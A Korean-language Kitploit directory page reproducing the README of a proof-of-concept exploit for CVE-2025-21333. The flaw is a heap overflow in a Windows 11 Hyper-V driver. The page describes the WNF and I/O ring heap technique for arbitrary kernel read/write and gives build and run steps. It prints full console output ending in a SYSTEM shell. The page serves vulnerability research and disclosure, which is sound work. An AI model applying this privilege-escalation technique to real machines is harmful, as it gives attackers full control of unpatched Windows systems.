Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-21333-POC — CVE-2025-21333 힙 기반 버퍼 오버플로우를 위한 POC 익스플로잇. WNF 상태 데이터와 I/O 링 IOP_MC_BUFFER_ENTRY를 활용합니다. | Kitploit
도구/GitHubGitHub/mrale98/cve-2025-21333-poc
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationBinary Exploitation
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

CVE-2025-21333 힙 기반 버퍼 오버플로우를 위한 POC 익스플로잇. WNF 상태 데이터와 I/O 링 IOP_MC_BUFFER_ENTRY를 활용합니다.

저장소 보기
232361년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-21333-POC

vkrnlintvsp.sys의 CVE-2025-21333을 악용하는 개념 증명(PoC)입니다 (요구 사항 및 제한 사항 섹션 참조, 신뢰성 낮음). 참조 섹션에는 이 익스플로잇을 다루고자 하는 사람들에게 매우 유용한 자료가 있습니다.

취약점 및 익스플로잇에 대한 상세 분석은 여기에서 확인할 수 있습니다.

이 취약점은 위협 행위자에 의해 활발히 악용되고 있는 것으로 탐지되었습니다.

Windows 11 23h2에서 테스트되었습니다. Windows 11 24h2에서도 작동할 수 있지만 테스트하지는 않았습니다.

다음은 PoC를 테스트하는 데 사용된 ntoskrnl.exe 및 vkrnlintvsp.sys의 해시입니다.

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

I/O Ring 버퍼 엔트리 덮어쓰기를 통한 임의 읽기/쓰기 획득

커널 주소 누출에 NtQuerySystemInformation을 사용하지 않으며 PreviousMode를 사용한 임의 읽기/쓰기도 사용하지 않습니다.

대신, 페이징 풀에 _IOP_MC_BUFFER_ENTRY에 대한 포인터 배열을 할당하고 첫 번째 포인터를 사용자 공간에 위치한 악성 IOP_MC_BUFFER_ENTRY*로 덮어씁니다. BuildIoRingWriteFile()/_BuildIoRingReadFile()_을 사용하여 커널에서 임의 읽기/쓰기를 획득할 수 있습니다.

__IOP_MC_BUFFER_ENTRY_에 대한 포인터 배열은 PoolTag가 IrRB인 객체입니다.

이 기법은 Yarden Shafir가 여기에서 문서화한 기법과 약간 다릅니다. _IORING_OBJECT.RegBuffers가 가리키는 전체 배열을 제어하는 대신, 이 기법은 _IORING_OBJECT.RegBuffers가 가리키는 배열의 하나의 엔트리만 제어합니다.

포인터 배열의 크기는 사용자가 제어할 수 있으므로, 여러 LFH 버킷에 대한 힙 오버플로 및 UAF로부터 ring0에서 안정적인 임의 읽기/쓰기를 획득하는 데 사용할 수 있습니다.

페이징 풀에서의 오버플로나 UAF를 악용하기 위해 이 기법을 이미 공유한 사람이 있는지는 모르겠습니다.

다음 스크린샷은 PoC를 실행한 후 촬영한 것입니다. 오버플로는 객체 크기 0x50에 대한 버킷에서 발생했습니다. 해당 버킷에 RegBuffers 배열을 할당할 수 있었으며 첫 번째 포인터가 사용자 공간 메모리를 가리키는 것을 확인하세요.

image

악성 엔트리는 _Address_를 프로세스 객체로 설정합니다. _Address_는 읽거나 쓰려는 임의의 주소에 해당합니다 (이미 Yarden Shafir의 기사에서 잘 설명되었습니다).

image

요구 사항 및 제한 사항

취약한 시스템 호출이 취약한 드라이버에 의해 처리되도록 Windows 샌드박스 기능을 켜야 합니다.

image

0xfff0 바이트의 오버플로를 얻을 수 있었습니다. 오버플로 길이를 완전히 제어할 수는 없었습니다. 오버플로가 하위 세그먼트보다 크면 크래시가 발생합니다 (매우 자주 발생할 수 있음). 더 많은 객체를 스프레이하면 이 동작을 최소화할 수 있을 수도 있습니다.

PoC는 2개의 WNF 상태 데이터를 해제하여 해당 위치에 IORING_OBJECT와 연결된 regBuffer (_IOP_MC_BUFFER_ENTRY에 대한 포인터 배열) 및 PipeAttribute를 재할당합니다. 때때로 해제와 재할당 사이에 다른 드라이버가 해당 위치에 다른 객체를 할당할 수 있습니다. while 루프에서 손상된 다른 WNF 상태 데이터 객체를 사용하여 여러 재할당 시도를 수행하고 원하는 레이아웃을 가질 가능성을 높일 수 있을 것입니다.

PoC 코드는 상당히 지저분합니다.

시스템 권한을 획득한 후에는 콘솔에서 exit를 입력하여 시스템 셸을 종료하는 것이 좋습니다. 그렇지 않으면 머신이 충돌합니다.

컴파일 및 실행

x64 릴리스 버전으로 컴파일합니다.

실행하고 시스템 셸을 획득합니다.

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

참조

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

감사의 말

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
도구 다운로드